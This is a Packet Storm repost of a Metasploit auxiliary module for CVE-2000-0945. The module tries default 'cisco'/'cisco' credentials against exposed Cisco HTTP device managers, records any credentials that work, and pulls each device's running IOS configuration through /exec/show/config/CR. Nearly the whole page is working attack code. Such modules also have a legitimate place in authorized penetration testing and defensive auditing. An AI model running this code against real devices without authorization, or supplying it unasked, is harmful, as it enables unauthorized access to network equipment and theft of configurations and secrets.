exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Cisco Device HTTP Device Manager Access

Cisco Device HTTP Device Manager Access
Posted Sep 1, 2024
Authored by Jay Turla | Site metasploit.com

This Metasploit module gathers data from a Cisco device (router or switch) with the device manager web interface exposed. The HttpUsername and HttpPassword options can be used to specify authentication.

tags | exploit, web
systems | cisco
advisories | CVE-2000-0945
SHA-256 | e515364a8b6d5188cc5064ca26061b454b46d79e2464b43c67ca62a9ea442319

Cisco Device HTTP Device Manager Access

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##



class MetasploitModule < Msf::Auxiliary

# Exploit mixins should be called first
include Msf::Exploit::Remote::HttpClient

# Include Cisco utility methods
include Msf::Auxiliary::Cisco

# Scanner mixin should be near last
include Msf::Auxiliary::Scanner

def initialize(info={})
super(update_info(info,
'Name' => 'Cisco Device HTTP Device Manager Access',
'Description' => %q{
This module gathers data from a Cisco device (router or switch) with the device manager
web interface exposed. The HttpUsername and HttpPassword options can be used to specify
authentication.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'BID', '1846'],
[ 'CVE', '2000-0945'],
[ 'OSVDB', '444'],
],
'DisclosureDate' => '2000-10-26'))
register_options(
[
OptString.new('HttpUsername', [true, 'The HTTP username to specify for basic authentication', 'cisco']),
OptString.new('HttpPassword', [true, 'The HTTP password to specify for basic authentication', 'cisco'])
])
end

def run_host(ip)

res = send_request_cgi({
'uri' => "/exec/show/version/CR",
'method' => 'GET'
}, 20)

if res and res.code == 401
print_error("#{rhost}:#{rport} Failed to authenticate to this device")
return
end

if res and res.code != 200
print_error("#{rhost}:#{rport} Unexpected response code from this device #{res.code}")
return
end

if res and res.body and res.body =~ /Cisco (Internetwork Operating System|IOS) Software/
print_good("#{rhost}:#{rport} Successfully authenticated to this device")
store_valid_credential(user: datastore['HttpUsername'], private: datastore['HttpPassword'])

# Report a vulnerability only if no password was specified
if datastore['HttpPassword'].to_s.length == 0

report_vuln(
{
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => self.name,
:info => "Module #{self.fullname} successfully accessed http://#{rhost}:#{rport}/exec/show/version/CR",
:refs => self.references,
:exploited_at => Time.now.utc
}
)

end

res = send_request_cgi({
'uri' => "/exec/show/config/CR",
'method' => 'GET'
}, 20)

if res and res.body and res.body =~ /<FORM METHOD([^\>]+)\>(.*)/mi
config = $2.gsub(/<\/[A-Z].*/i, '').strip
print_good("#{rhost}:#{rport} Processing the configuration file...")
cisco_ios_config_eater(rhost, rport, config)
else
print_error("#{rhost}:#{rport} Error: could not retrieve the IOS configuration")
end

end

end
end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close